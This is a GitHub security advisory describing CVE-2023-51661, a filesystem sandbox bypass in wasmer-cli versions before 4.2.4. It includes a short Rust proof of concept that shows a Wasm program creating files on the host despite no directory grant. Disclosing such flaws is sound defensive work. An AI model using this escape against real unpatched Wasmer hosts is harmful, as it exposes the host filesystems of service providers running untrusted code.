GitHub Advisoryadvisory · crates.io
GHSA-4mq4-7rw3-vm5j Wasmer filesystem sandbox not enforced
HIGH
Official page ↗
- Aliases
- CVE-2023-51661
- Ecosystem
- crates.io
- Packages
- wasmer-cli
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-284
- Reviewed
- 2023-12-13
Affected packages
• crates.io wasmer-cli: >= 3.0.0, < 4.2.4 → fixed in 4.2.4
Description
Summary
As of Wasmer version v4.2.3, Wasm programs can access the filesystem outside of the sandbox.
Details
https://github.com/wasmerio/wasmer/issues/4267
PoC
A minimal Rust program:
```
fn main() {
let f = std::fs::OpenOptions::new()
.write(true)
.create_new(true)
.open("abc")
.unwrap();
}
```
This should be compiled with `cargo build --target wasm32-wasi`. The compiled program, when run with wasmer WITHOUT `--dir`, can still create a file in the working directory.
Impact
Service providers running untrusted Wasm code on Wasmer can unexpectedly expose the host filesystem.
Related
Alias · CVE (1)
- CVE-2023-51661 Wasmer is a WebAssembly runtime that enables containers to run anywhere: from Desktop to the Cloud, Edge and even the browser. vulnerability
Weakness · CWE (1)
- CWE-284 Improper Access Control weakness
References
- https://github.com/wasmerio/wasmer/security/advisories/GHSA-4mq4-7rw3-vm5j web
- https://nvd.nist.gov/vuln/detail/CVE-2023-51661 advisory
- https://github.com/wasmerio/wasmer/issues/4267 web
- https://github.com/wasmerio/wasmer/commit/4d63febf9d8b257b0531963b85df48d45d0dbf3c web
- https://github.com/wasmerio/wasmer/commit/e3923612c23123025c26f982d390e34df7df030f web
- https://github.com/wasmerio/wasmer package